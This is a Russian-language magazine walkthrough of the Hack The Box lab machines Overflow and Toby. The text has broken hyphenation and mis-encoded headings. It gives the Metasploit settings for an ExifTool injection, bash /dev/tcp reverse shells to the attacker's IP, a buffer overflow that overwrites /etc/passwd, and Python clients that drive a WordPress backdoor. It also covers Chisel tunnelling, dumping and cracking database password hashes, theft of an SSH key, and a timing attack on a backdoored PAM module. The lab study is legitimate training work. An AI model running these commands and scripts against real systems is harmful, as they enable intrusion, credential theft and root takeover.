ÒÎ×ÊÀ ÎÏÎÐÛ

Но вый домен сра зу добав ляем в файл ./etc/hosts

10.10.11.119    overflow.htb devbuild-job.overflow.htb 

Фор ма авто риза ции Overow Devbuild

Ра зоб рать ся с фор мой авто риза ции нам помога ют учет ные дан ные поль- 
зовате ля editor. Нам откры вает ся какой-то магазин дизай на при ложе ний.
И пер вым делом я отпра вил ся искать воз можность что-то изме нить в нас- 
трой ках акка унта в надеж де най ти оче ред ную точ ку вхо да.

Глав ная стра ница веб-при ложе ния

В про филе есть воз можность заг рузить резюме — то, что нуж но! Попыт ки
залить раз ные наг рузки успе хом не увен чались, так как фор ма при нима ет
толь ко фай лы TIFF и JPEG.

Фор ма заг рузки резюме

Од нако потом я решил гля нуть, что пред лага ет мне Burp, и нашел в отве те
вывод ExifTool вер сии 11.02.

От вет сер вера

Так как мы зна ем вер сию прог раммы, нуж но сра зу про верить наличие задоку- 
мен тирован ных экс пло итов.

По иск экс пло итов в Google

Мы тут же получа ем CVE-иден тифика тор уяз вимос ти, которая может дать нам
уда лен ное выпол нение кода. Оно воз можно, пос коль ку при обра бот ке изоб- 
ражения не филь тру ются поль зователь ские дан ные, что поз воля ет нам
записать в качес тве этих дан ных наг рузку. Для этой уяз вимос ти есть даже
готовый бил дер в Metasploit Framework:

exploit/unix/fileformat/exiftool_djvu_ant_perl_injection 

Вы бира ем в качес тве наг рузки реверс-шелл Unix и ука зыва ем адрес хос та
и порт, на котором запущен лис тенер (запус каем коман дой 

).
rlwrap -cAr nc 

-lvp 4321

msfconole -q
use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection 
set payload cmd/unix/reverse_netcat 
set LHOST 10.10.14.17 
set LPORT 4321 

Ге нери рова ние изоб ражения с наг рузкой

За сыла ем кар тинку и тут же получа ем бэк коннект от сер вера.

Ло ги лис тенера

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü developer

Так как на хос те раз вернут веб-сер вер, а на нем работа ет нес коль ко веб-при- 
ложе ний, то пер вое наше дей ствие — поп робовать получить учет ные дан ные
поль зовате лей. Высока веро ятность того, что эти логины и пароли подой дут
для каких-то поль зовате лей в сис теме. К тому же был каталог content, имен но
в нем мы и находи ли файл с учет ными дан ными для под клю чения к базе дан- 
ных.

Со дер жимое фай ла db.php

От име ни поль зовате ля developer под клю чаем ся по SSH.

Сес сия поль зовате ля developer

Ïîëüçîâàòåëü tester

Как показы вает коман да , наш поль зователь сос тоит в груп пе .

Это не какая-то умол чатель ная нас трой ка.

id network

Для сбо ра информа ции с машины я исполь зовал скрипт . С его
помощью опре деля ем, что чле ны груп пы  име ют пра во записи в файл

, а так же текуще му поль зовате лю раз решен запуск фай ла 

, вла дель цем которо го явля ется .

LinPEAS

network
/etc/hosts /opt/
commontask.sh tester

Фай лы, дос тупные для записи

Фай лы со спис ком дос тупа

Прос мотрим содер жимое фай ла ./opt/commontask.sh

Со дер жимое фай ла commontask.sh

Этот скрипт ска чива ет файл  с адре са 

и выпол няет с помощью bash. Дело в том, что хост не зна ет это го име ни и не
может его зарезол вить, но мы можем записать его в файл  на уда- 

лен ном хос те, а в качес тве адре са ука зать свой хост.

task.sh taskmanage.overflow.htb

/etc/hosts

Со дер жимое фай ла /etc/hosts

Соз даем на сво ем веб-сер вере скрипт , куда записы ваем обыч ный

реверс-шелл:

task.sh

bash  -i >& /dev/tcp/10.10.14.7/4321 0>&1`

В течение минуты получа ем бэк коннект.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сре ди фай лов со спис ком дос тупа, обна ружен ных с помощью LinPEAS, был
и . Он может запус кать ся поль зовате лем  от име- 

ни рута. В этой дирек тории я обна ружил сооб щение, в котором говорит ся
о том, что нуж но обра тить вни мание на фун кцию про вер ки ПИН-кода.

/opt/file_encrypt tester

Со дер жимое катало га /opt/le_encrypt

Тес товый запуск при ложе ния

Ска чива ем при ложе ние на локаль ную машину, что бы хорошень ко раз ревер- 
сить и понять, что в нем про исхо дит. Для ана лиза при ложе ния я исполь зовал
IDA Pro с деком пилято ром Hex-Rays.

Àíàëèç ïðèëîæåíèÿ

Итак, в фун кции  кро ме вызова фун кции  боль ше ничего
не про исхо дит.

main check_pin

Фун кция main

В фун кции  генери рует ся псев дослу чай ное чис ло (стро ка 8), затем

оно переда ется в фун кцию  для даль нейших пре обра зова ний (стро- 
ка 9). ПИН-код счи тыва ется из кон соли и срав нива ется с пре обра зован ным
ран домным зна чени ем (стро ки 11–13). Далее счи тыва ется имя и выводит ся
сооб щение (стро ки 14–16).

check_pin
random

Фун кция check_pin

Фун кция random

Сра зу обоз начим сле дующее:
сге нери рован ное «ран домное» чис ло всег да будет одним и тем же
при каж дом запус ке прог раммы, так как не исполь зует ся ини циали зация
ран домай зера;

•

дли на буфера  — 20 байт, при этом дли на счи тыва емой стро ки не про- 
веря ется. Таким обра зом, мы име ем перепол нение буфера.

• v1

В спис ке фун кций най дем еще одну, которая ниг де не вызыва ется, — фун кция
.encrypt

Спи сок фун кций

Про вер ка ссы лок на фун кцию encrypt

В начале фун кции у нас зап рашива ют два фай ла (стро ки 35–50). Затем
выпол няет ся посим воль ное чте ние из пер вого фай ла, XOR с сим волом 0x9B
и запись во вто рой файл (стро ки 52–78).

Фун кция encrypt

Та ким обра зом мы можем заранее зашиф ровать файл с клю чом 0x9B,
а затем переза писать любой файл в сис теме. При пов торном шиф ровании
в прог рамме он будет рас шифро ван. Оста лось выз вать фун кцию ,

для чего нуж но получить ПИН и перепол нить буфер.

encrypt

Ïîëó÷åíèå ÏÈÍ-êîäà

Что бы узнать ПИН-код, я решил прос то запус тить при ложе ние в отладчи ке
и получить его зна чение пос ле выпол нения фун кции  (резуль тат

в регис тре EAX).

random

По луче ние ПИН-кода

Так как пер вый байт (0xf3) боль ше, чем 0x7f, то наше чис ло будет пред став- 
лено как отри цатель ное. То есть нам нуж но из получен ного зна чения
вычесть 0x100000000, вый дет  — это и есть наш ПИН.-202976456

Ïåðåïîëíåíèå áóôåðà

В тес тирова нии перепол нения буфера очень помога ют генера торы пос- 
ледова тель нос тей де Брёй на (непов торя ющих ся цепочек сим волов). Они
к тому же помога ют точ но вычис лить сме щение, по которо му мы можем
переза писы вать в сте ке адрес воз вра та из фун кции. Сге нери ровать такую
пос ледова тель ность мож но, к при меру, с помощью незаме нимо го .
Сге нери руем стро ку дли ной 200 сим волов.

pwntools

Ге нери рова ние пос ледова тель нос ти де Брёй на

Те перь переда дим ее в качес тве име ни нашему при ложе нию и пос мотрим,
на каком адре се вылетит прог рамма.

Ошиб ка выпол нения прог раммы

Так, 0x6161616c соот ветс тву ет пос ледова тель нос ти . Получим сме щение

в пос ледова тель нос ти.

laaa

По луче ние сме щения

Вы ходит, до адре са фун кции  мы дол жны передать 44 бай та. Оста- 
лось получить адрес фун кции. Для это го запус каем прог рамму на уда лен ном
хос те через отладчик , запус каем прог рамму (коман да ), пос ле чего

посыла ем сиг нал завер шения (Ctrl-C) и прос матри ваем фун кцию 
(коман да ). Иско мый адрес — 0x5655585b.

encrypt

GDB r
encrypt

disas encrypt

По луче ние адре са фун кции encrypt

Что удоб но, адрес пол ностью сос тоит из печата емых сим волов.

Наг рузка для перепол нения буфера

Пос ле запус ка прог раммы вво да ПИН-кода и наг рузки, перепол няющей
буфер, у нас спра шива ют путь к фай лу. Таким обра зом нам уда лось перей ти
к фун кции .encrypt

Про вер ка получен ных зна чений

Ïåðåçàïèñü ôàéëà

Сна чала я хотел переза писать файл , что бы потом под клю- 
чить ся по SSH, но ничего не выш ло. Тог да я решил переза писать файл 

. Добавим туда нового поль зовате ля с высоки ми при виле гиями.

Но сна чала зашиф руем пароль это го поль зовате ля.

authorized_keys
/etc/

passwd

Шиф рование пароля нового поль зовате ля

За тем ско пиру ем содер жимое фай ла  в файл 

и добавим в конец стро ку, отве чающую за нашего поль зовате ля.

/etc/passwd /tmp/passwd

До бав ление записи в /tmp/passwd

Те перь прок сорим этот файл.

   src = open("/tmp/passwd", "rb").read()
   dst = open("/tmp/passwd.n", "wb")
   for i in src:

  dst.write(bytes([i^0x9b]))

И ука жем эти фай лы в прог рамме.

Экс плу ата ция уяз вимос ти

Прог рамма рух нула, но свою задачу выпол нила. Оста лось прос то сме нить
поль зовате ля и заб рать флаг рута.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
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ВЗЛОМ

Се год ня мы с тобой раз берем про хож- 
дение «безум ной» по слож ности машины
с пло щад ки . Пос мотрим,
как работа ет бэк дор для WordPress,
и исполь зуем его, что бы получить дос туп
к хос ту. Затем про ник нем в Docker, перех- 
ватим пароль поль зовате ля при под клю- 
чении к базе дан ных и сек ретный ключ
при под клю чении к SSH. А в кон це поищем,
раз берем и исполь зуем бэк дор в механиз-
ме аутен тифика ции Linux.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.121    toby.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли четыре откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0;•
10022 — служ ба OpenSSH 8.1;•
10080 — пока неиз вес тный HTTP-сер вер.•

Как обыч но, нач нем с веб-сер вера, тем более Nmap сам нашел для нас файл
robots.txt.

Справка: robots.txt
Этот файл исполь зует ся для того, что бы поп росить кра уле ры (нап ример,
Google или Яндекс) не тро гать какие-то опре делен ные катало ги. Нап ример,
ник то не хочет, что бы в поис ковой выдаче появ лялись стра ницы авто риза ции
адми нис тра торов сай та, фай лы или пер сональ ная информа ция со стра ниц
поль зовате лей и про чие вещи в таком духе. Одна ко и зло умыш ленни ки пер- 
вым делом прос матри вают этот файл, что бы узнать о фай лах и катало гах,
которые хочет спря тать адми нис тра тор сай та.

Ñêàíèðîâàíèå âåá-êîíòåíòà

В robots.txt записа на дирек тория , говоря щая нам о том, что сайт

работа ет на WordPress. Если взгля нуть в исто рию зап росов Burp, то най дем
и новый под домен, который добав ляем в .

wp-admin

/etc/hosts

10.10.11.121    toby.htb wordpress.toby.htb 

Ис тория зап росов Burp

А на самом сай те находим сооб щение о недав ней ата ке.

Глав ная стра ница сай та

Боль ше ничего любопыт ного най ти не уда лось, ска ниро вание с помощью
 ничего инте рес ного тоже не показа ло. А так как на сай те уже есть

один под домен, можем попытать ся най ти еще. Ска ниро вать будем
с помощью , а в качес тве мес та для перебо ра ука зыва ем HTTP-заголо вок

.

WPScan

ffuf

Host

ffuf   
 256 

-u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-
top1million-110000.txt -t -fs 10837 

Ре зуль тат ска ниро вания под доменов

На ходим новый под домен , который сра зу добав ляем в .
А на сай те нас встре чает Gogs — лег ковес ный сер вис Git, написан ный на Go.

backup /etc/hosts

10.10.11.121    toby.htb wordpress.toby.htb backup.toby.htb 

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

В Git находим одно го поль зовате ля , чьи репози тории не отоб- 

ража ются.

toby-admin

Ак тивные поль зовате ли Gogs

Но поп робу ем прос каниро вать репози тории как катало ги с помощью того же
ffuf.

ffuf 
 256 

-u http://backup.toby.htb/toby-admin -w directory_2.3_medium_
lowercase.txt -t

Ска ниро вание катало гов

В ито ге находим два катало га, один из которых не воз вра щает никако го кон- 
тента ( ). А вот репози торий  очень инте ресен, так как это

исходные коды сай та .

starts backup
wordpress.toby.htb

Со дер жимое репози тория backup

Ска чива ем репози торий (

) и для удобс тва откры ваем в каком-нибудь редак торе

для прог рамми рова ния. Я буду исполь зовать . Так как сайт пос тро ен
на WordPress, пер вым делом получим учет ные дан ные для под клю чения к базе
дан ных. Они содер жатся в фай ле .

git clone http://backup.toby.htb/toby-
admin/backup.git

VSCode

wp-config.php

Со дер жимое фай ла wp-cong.php

Об ратим вни мание на хост , о котором мы пока ничего
не зна ем. Пароль для под клю чения к базе дан ных по SSH под клю чить ся
не помог, поэто му будем ана лизи ровать исходные коды. Сооб щение об ата ке
было оставле но не прос то так, ско рее все го, нам нуж но най ти бэк дор. Так
как это PHP-фай лы, я поп робовал поис кать в них «опас ные» фун кции.
И находим инте рес ное при мене ние фун кции , которая нуж на для выпол- 

нения переда ваемо го в нее кода на PHP.

mysql.toby.htb

eval

По иск по стро кам

Пе рехо дим к фай лу , где в фун кцию  пос ле нес коль ких опе- 

раций по пре обра зова нию переда ется закоди рован ная пос ледова тель ность.

comment.php eval

Со дер жимое фай ла comment.php

Это не обыч ный код WordPress, поэто му оста новим ся имен но на нем. Пос- 
мотрим, где вызыва ется фун кция .wp_handle_comment_submission

По иск по стро кам

И видим вызов из фай ла . То есть мы можем получить

дос туп к бэк дору при отправ ке ком мента риев к пос ту. Давай раз бирать ся
с самим бэк дором.

wp-comments-post.php

ÒÎ×ÊÀ ÎÏÎÐÛ

Я ско пиро вал код бэк дора и обер нул его в теги PHP, что бы получить декоди- 
рован ный код. Но там ока зал ся точ но такой же вло жен ный код!

Мо дер низиро вание кода

Де коди рован ный бэк дор

По хоже, таких уров ней вло жен ности будет мно го. Я решил вос поль зовать ся
 для деоб фуска ции кода.он лай новым сер висом

Де обфусци рован ный код бэк дора

Здесь пред став лен толь ко механизм авто риза ции для получе ния дос тупа
к основно му коду, которо му переда ется управле ние через фун кцию

 (стро ка 8). Туда переп равля ются перемен ные 
и . Так, в ком мента рии дол жны быть ука заны  в качес тве

поч тового адре са и  в качес тве URL. Перемен ные

 и  дол жны быть раз делены сим волом , и перед этой пос ледова тель- 
ностью дол жна идти стро ка . По син такси су я решил, что  —

это порт, куда дол жен прий ти бэк коннект. Откро ем лис тенер и отпра вим
проб ный ком мента рий.

wp_validate_4034a3 host
sec help@toby.htb

http://test.toby.htb/
host sec :

746f6279 sec

От прав ка ком мента рия под пос том

Но на лис тенер ничего не приш ло. Тог да откро ем , отбро сим весть

тра фик, свя зан ный с 80-м пор том, и пов торим наш ком мент. И уви дим попыт- 
ку бэк коннек та на порт 20053!

Wireshark

Тра фик в Wireshark

Пе реза пус тим лис тенер с ука зани ем нового пор та и сно ва получим бэк- 
коннект. В ито ге вмес то реверс-шел ла нам при ходит какая-то стро ка. Веро- 
ятно, при дет ся прог рамми ровать самим. Давай авто мати зиру ем отправ ку
зап роса и при ем бэк коннек та.

 import socket
 import requests

   for i in range(2):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', 20053))
   sock.listen(1)

   try:
         url = 'http://wordpress.toby.htb/wp-comments-post.php'
     

     
     

       data = {"comment": "746f627910.10.14.82:4321", "author":
"ralf", "email": "help@toby.htb", "url": "http://test.toby.htb/",
"submit": "Post Comment", "comment_post_ID": "2", "comment_parent":
"0"
}

             requests.post(url, data = data, timeout = 0.5)
    except requests.exceptions.Timeout:
       pass

      conn, address = sock.accept()
     data = conn.recv(1024)

   print(data.decode())

   conn.close()
   sock.close()

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
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Вы пол нение кода

Еще я заметил, что при каж дом новом зап росе пер вая часть стро ки отве та
( ) изме няет ся, а вто рая часть оста ется такой же за исклю чени ем двух
сим волов.
GUID

Вы пол нение кода

Это натол кну ло на мысль о том, что стро ка закоди рова на в hex. И пред- 
положе ние ока залось вер ным. Если у тебя уста нов лен пакет ,
можешь исполь зовать коман ду .

pwntools

unhex

Де коди рова ние шес тнад цатерич ных зна чений

Так же получа ем новую помет ку: . Я попытал ся сно ва декоди ровать

уже новое шес тнад цатерич ное зна чение, но получил какие-то непонят ные
сим волы. Про XOR упо мина ется нес прос та, поэто му нуж но поп робовать
прок сорить получен ные дан ные, но с каким клю чом? Из всех исполь зуемых
дан ных мы не наш ли при мене ния толь ко отправ ленно му парамет ру . Я

исполь зовал это зна чение в качес тве клю ча для XOR и получил внят ную стро- 
ку!

xor_key

sec

Де коди рова ние зна чения xor_key

Та ким обра зом, при каж дом новом зап росе будет изме нять ся лишь одна бук- 
ва посере дине. В даль нейшем для удобс тва в качес тве зна чения  будем
ука зывать , что бы не про исхо дил XOR (так как ). Но это не все, пос- 

коль ку пос ле получе ния стро ки соеди нение с сер вером не обры вает ся. Поп- 
робу ем пос лать ему какую-нибудь стро ку, на что нам сно ва при дет ответ!

sec
00 x^0=x

Тес тирова ние бэк дора

По пыт ка декоди ровать HEX и ксо рить получен ную стро ку со зна чени ем 
не увен чалась успе хом. Одна ко поп робу ем исполь зовать в качес тве клю ча
код сим вола, отправ ляемо го нам сер вером, — он обрамля ется стро ками

 и .

sec

KEY_PREFIX_ _KEY_SUFFIX

Де коди рова ние вто рого сооб щения

Это стро ка , то есть у нас зап рашива ют коман ду. Поп робу ем отпра вить

коман ду  вмес то слу чай ной стро ки, при этом прок сорив ее клю чом сер- 
вера. Конеч но, это все авто мати зиру ем.

cmd:
id

 import socket
 import requests
 import binascii

   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

 sock.bind(('0.0.0.0', 20053))
sock.listen(1)

try:
    url = 'http://wordpress.toby.htb/wp-comments-post.php'
        

     
    

data = {"comment": "746f627910.10.14.82:00", "author": "ralf",
"email": "help@toby.htb", "url": "http://test.toby.htb/", "submit":
"Post Comment", "comment_post_ID": "9", "comment_parent": "0"}
        requests.post(url, data = data, timeout = 0.5)

 except requests.exceptions.Timeout:
  pass

   conn, address = sock.accept()
  data = conn.recv(1024).split(b'|')[1].strip()

  xor_key_hex = binascii.unhexlify(data).split(b':')[1]
  key = binascii.unhexlify(xor_key_hex).split(b'_')[2][0]

  command = b"id"
      xor_command = bytes([c^key for c in command])

conn.send(xor_command)

  data_xor_hex = conn.recv(1024).split(b'|')[1].strip()
  data_xor = binascii.unhexlify(data_xor_hex)

      result = bytes([c^key for c in data_xor]).decode()
print(result)

Вы пол нение кода

И мы получа ем RCE! Откро ем лис тенер  и выпол- 

ним реверс-шелл:

rlwrap -cAr nc -lvp 80

bash  -c 'bash -i >& /dev/tcp/10.10.14.82/80 0>&1'

Сра зу ска жу, что проб росить соеди нение на порт 4321 не выш ло, поэто му
про буем популяр ные веб-пор ты, к при меру 80-й.

По луче ние бэк коннек та

ÏÐÎÄÂÈÆÅÍÈÅ

Ñáîð ó÷åòíûõ äàííûõ

Мы получа ем дос туп к хос ту, но как повысить при виле гии? Наибо лее веро- 
ятный спо соб получить учет ку поль зовате ля — зав ладеть его паролем.

Так как мы работа ем от име ни служ бы веб-сер вера ( ), а на хос те

уста нов лены два движ ка (WordPress и Gogs), мож но поп робовать получить
учет ные дан ные из их баз дан ных. Кста ти, учет ка для под клю чения к БД у нас
уже есть — из фай ла . Оста лось узнать адрес хос та 

.

www-data

wp-config.php mysql.
toby.htb

nslookup mysql.toby.htb 

По луче ние адре са хос та по его DNS-име ни

Пос коль ку СУБД уста нов лена на дру гом хос те (ско рее все го, это Docker),
для удоб ной работы луч ше пос тро ить SOCKS-тун нель во внут реннюю сеть.
Для это го будем исполь зовать ути литу . Заг ружа ем соб ранную вер сию
и на локаль ный хост, и на уда лен ный.

Chisel

Для заг рузки на уда лен ный хост:
От кры ваем на локаль ном хос те в катало ге с прог раммой прос той веб-сер- 
вер .

•
python3 -m http.server 88

На уда лен ном хос те выпол няем коман ду 
 для заг рузки.

• curl http://10.10.14.82:
88/chisel -o chisel
На локаль ном хос те запус каем сер верную часть, ожи дающую под клю- 
чение на порт 88.

•

 88 ./chisel server -p --reverse

Ло ги сер верной час ти

На уда лен ном хос те запус каем кли ент скую часть. В логах сер вера мы дол жны
уви деть информа цию о под клю чении.

./chisel client 10.10.14.82:88 R:socks 

Ло ги сер верной час ти

Тун нель готов, оста лось нас тро ить  для прок сирова ния тра фика.

В кон фиг  вне сем сле дующую запись.

proxychains

/etc/proxychains4.conf

Со дер жимое фай ла /etc/proxychains4.conf

А теперь под клю чаем ся к СУБД через наш тун нель и смот рим спи сок баз дан- 
ных.

proxychains -q mysql -h 172.69.0.102 -u root 
-pOnlyTheBestSecretsGoInShellScripts

show databases;

Спи сок баз дан ных

По луча ем дос туп сра зу к обе им сис темам. Gogs хра нит учет ные дан ные
в стол бцах ,  и  таб лицы .name passwd salt user

use gogs;
select name,passwd,salt from user;

По луче ние кри тичес ки важ ных дан ных из базы Gogs

В базе WordPress обра тим ся к стол бцам  и  таб лицы

.

user_login user_pass
wp_users

По луче ние кри тичес ки важ ных дан ных из базы WordPress

Хе ши из WordPress закиды ваем на перебор в , но у нас ничего
не выходит. Мне под ска зали исполь зовать ком биниро ван ный спи сок паролей
с уче том име ни поль зовате ля. И это дало резуль тат!

hashcat

 400 hashcat -m --user hashes rockyou.txt 

Па роль поль зовате ля

Ïîëó÷åíèå äîñòóïà ê Docker

С учет кой это го поль зовате ля можем авто ризо вать ся в Gogs. Так мы получа- 
ем дос туп к двум зак рытым репози тори ям.

Глав ная стра ница Gogs

Пер вый репози торий содер жит какую-то базу, пока неяс но, что это. А вот
во вто ром содер жится новое веб-при ложе ние.

Ис тория ком митов Personal-Webapp

Ин терес нее все го код обра бот чика . Эта стра ница при нима ет

параметр , в котором дол жен переда вать ся адрес хос та.

Если мы переда дим свой хост, то можем выз вать под клю чение к нему и таким
обра зом заб рать учет ные дан ные для под клю чения к базе дан ных.

/api/dbtest
secretdbtest_09ef

Ис ходный код пути роута /api/dbtest

Най дем хост, где раз верну то это веб-при ложе ние. Поп робу ем зап росить
адрес хос та  (по име ни при ложе ния).personal.toby.htb

nslookup personal.toby.htb 

Ад рес хос та personal.toby.htb

Что бы не раз ворачи вать локаль ную базу дан ных, вос поль зуем ся инс тру мен- 
том . Запус каем скрипт и ука зыва ем ему любой файл.RogueSQL

python2 RogueSQL.py -f hashes 

От кро ем Wireshark и уста новим филь тр . А затем с уда лен ного хос та

обра тим ся к най ден ному веб-при ложе нию и переда дим адрес сво ей
машины.

mysql

curl http://172.69.0.104/api/dbtest?secretdbtest_09ef=10.10.14.82 

В логах  обна ружим информа цию о под клю чении, а в Wireshark —
при летев шие пакеты.

RogueSQL

Ло ги RogueSQL

Ок но Wireshark

Нас инте ресу ет пакет , в котором переда ется соль, и 

, где переда ется хеш пароля.

Server Greeting Login
Request

Со дер жимое пакета Server Greeting

Со дер жимое пакета Login Request

Те перь нуж но соб рать хеш в фор мат :hashcat

$mysqlna$salt*hash 

Соль соберем из двух час тей и пред ста вим в шес тнад цатерич ном фор мате.

Ко диро вание соли для хеша

Тут нуж но вспом нить, что перед кодом обра бот чика  мы встре- 

чали ком мента рий, где было отме чено, что учет ная запись добав- 
лена 07/07/21 и уда лена из окру жения 10/07/21. Генера тор пароля мож но
най ти в более поз днем ком мите, при чем он зависит от модуля .

/api/dbtest

random

Ком мит app.py

А фун кция  зависит от вре мени, ког да она была выз вана, так

как текущее вре мя исполь зует ся в качес тве сида для генера ции псев дослу- 
чай ного чис ла. То есть, зная вре мен ные про межут ки, мы можем сос тавить
спи сок всех воз можных паролей.

random

Код для получе ния вре мени в фор мате Epoch из даты мож но взять пря мо
с сай та .EpochConverter

Код кон верте ра

Продолжение статьи →

https://github.com/jpillora/chisel
https://github.com/jib1337/Rogue-MySQL-Server
https://www.epochconverter.com/
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А теперь сге нери руем спи сок.

 import random
 import string
  import calendar, time;

   start = calendar.timegm(time.strptime('2021-07-07 00:00:00',
'%Y-%m-%d %H:%M:%S'))

   finish = calendar.timegm(time.strptime('2021-07-11 00:00:00',
'%Y-%m-%d %H:%M:%S'))

    chars = string.ascii_letters + string.digits
    for t in range(start, finish):

  random.seed(t)
        password = ''.join([random.choice(chars) for i in range(32)])
  print(password)

От прав ляем хеш на брут по сге нери рован ному спис ку и получа ем пароль.

hashcat -m 11200 jack.hash passwd.lst 

Па роль для под клю чения к базе дан ных

Под клю чить ся к основно му хос ту по SSH с этим паролем не выш ло.
Но получи лось к хос ту .mysql.toby.htb

proxychains -q ssh jack@172.69.0.102 

Сес сия поль зовате ля jack

Âûõîä èç Docker

Что бы про вес ти раз ведку в «Докере» и поис кать пути выхода из него, я
исполь зую скрипт , но в этот раз ему не уда лось ничего най ти.Deepce

Заг рузим на хост  — при ложе ние для монито рин га запус каемых

в сис теме про цес сов. И спус тя минуту уви дим запуск коман ды SSH, а потом
и SCP. При чем исполь зует ся аутен тифика ция по клю чу, который, видимо, сох- 
раня ется на хост в момент под клю чения.

pspy

Ло ги pspy

За пус каем коман ду чте ния клю ча в бес конеч ном цик ле. Как толь ко ключ будет
сох ранен как , он отоб разит ся у нас в кон соли./tmp/*/key

 :   while ; do cat /tmp/*/key 2>/dev/null ; done

SSH-ключ поль зовате ля

И с этим клю чом мы под клю чаем ся к основной сис теме.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ни какие скрип ты для раз ведки на локаль ном хос те не помог ли, но у нас
еще есть файл базы дан ных. Для прос мотра я обыч но исполь зую

. В базе наш лись все го две таб лицы, име ющие по три записи.DBBrowser

Со дер жимое таб лицы enc_meta

Со дер жимое таб лицы support_enc

По наз ванию стол бцов мож но понять, что таб лицы содер жат дан ные, зашиф- 
рован ные AES-CBC, а так же соот ветс тву ющие клю чи шиф рования и век торы
ини циали зации. Рас шифро вать можем с помощью извес тно го сай та

.CyberChef

Пер вое сооб щение

Вто рое сооб щение

Уда лось рас шифро вать два сооб щения, третье ока залось битое. Во вто ром
сооб щении говорит ся, что аутен тифика ция ста ла мед леннее пос ле ата ки,
но авто мати чес кие ска неры ничего не наш ли. Ско рее все го, нам сно ва пред- 
лага ют най ти и исполь зовать бэк дор — на этот раз в механиз ме аутен тифика- 
ции.

Ïîäêëþ÷àåìûå ìîäóëè àóòåíòèôèêàöèè Linux

 (Pluggable Authentication Modules) — это набор биб лиотек для Unix-

подоб ных опе раци онных сис тем, пред назна чен ный для нас трой ки аутен- 
тифика ции меж ду при ложе ниями. Мно гие популяр ные при ложе ния, с которы- 
ми ты работа ешь в Linux, внут ри исполь зуют PAM. Нап ример, ути лита .

PAM

su
Ког да при ложе ние зап рашива ет аутен тифика цию, PAM счи тыва ет соот- 

ветс тву ющий кон фигура цион ный файл. Кон фигура цион ные фай лы содер жат
спис ки модулей PAM и методы их обра бот ки. Модули вызыва ются по оче реди.
Каж дый вызов модуля генери рует успешный резуль тат или отказ. Исхо дя
из этих зна чений, кон фигура цион ный файл воз вра щает либо сооб щение
об успешной аутен тифика ции (authentication okay), либо сооб щение об ошиб- 
ке (authentication failure).

Нас трой ки содер жатся в кон фигура цион ных фай лах , 
 и  в катало ге . Прос- 

мотрим пер вый.

common-auth common-
account common-session-noninteractive /etc/pam.d/

Со дер жимое фай ла /etc/pam.d/common-auth

В фай ле ука зан модуль . Это явно что-то нес тандар тное, давай най- 

дем сам файл модуля для даль нейше го ана лиза.

mypam.so

find / -name mypam.so 2>/dev/null 

По иск модуля

Заг ружа ем модуль по SSH:

scp -i jack.key jack@toby.htb:/usr/lib/x86_64-linux-gnu/security/
mypam.so ./ 

И закиды ваем в IDA Pro. Начина ем ана лиз с получе ния спис ка фун кций.

Спи сок фун кций

Нас инте ресу ет фун кция , которая непос редс твен но

выпол няет задачу аутен тифика ции поль зовате ля.

pam_sm_authenticate

Де ком пиляция фун кции pam_sm_authenticate

Внут ри фун кции про исхо дит вызов  (стро ка 29) для получе ния

име ни поль зовате ля. Пос ле про вер ки кеширо вания токена (фун кция
, стро ка 42) запус кает ся цикл, в котором десять раз посим- 

воль но чита ется файл  и сра зу срав нива ется с вве ден ным паролем.

Если счи тан ный сим вол равен вве ден ному, то про изво дит ся задер жка
на 0,1 секун ды (стро ки 54–72). Файл  дос тупен для чте ния толь ко
супер поль зовате лю и содер жит как раз десять сим волов.

pam_get_user

pam_get_authtok
/etc/.bd

/etc/.bd

Файл /etc/.bd

За дер жка пос ле вер но вве ден ного сим вола может слу жить инди като ром.
А зна чит, мы можем прос то посим воль но подоб рать пароль. Пер вым делом я
записал в файл все печата емые сим волы.

  python3 -c 'import string; print(" ".join(string.printable))' > list.
txt 

А затем накидал прос той скрипт, который переби рает пер вый сим вол пароля
и выводит вре мя выпол нения коман ды.

#!/bin/bash
var  for in $(cat list.txt)

do
      | 

    3 
   echo -n " $var " ; echo $var'         ' time su 2>&1 | grep 
elapsed | cut -d ' ' -f
done

Вы вод скрип та

При вво де сим вола  задер жка боль ше, чем в ответ на дру гие сим волы, а зна- 

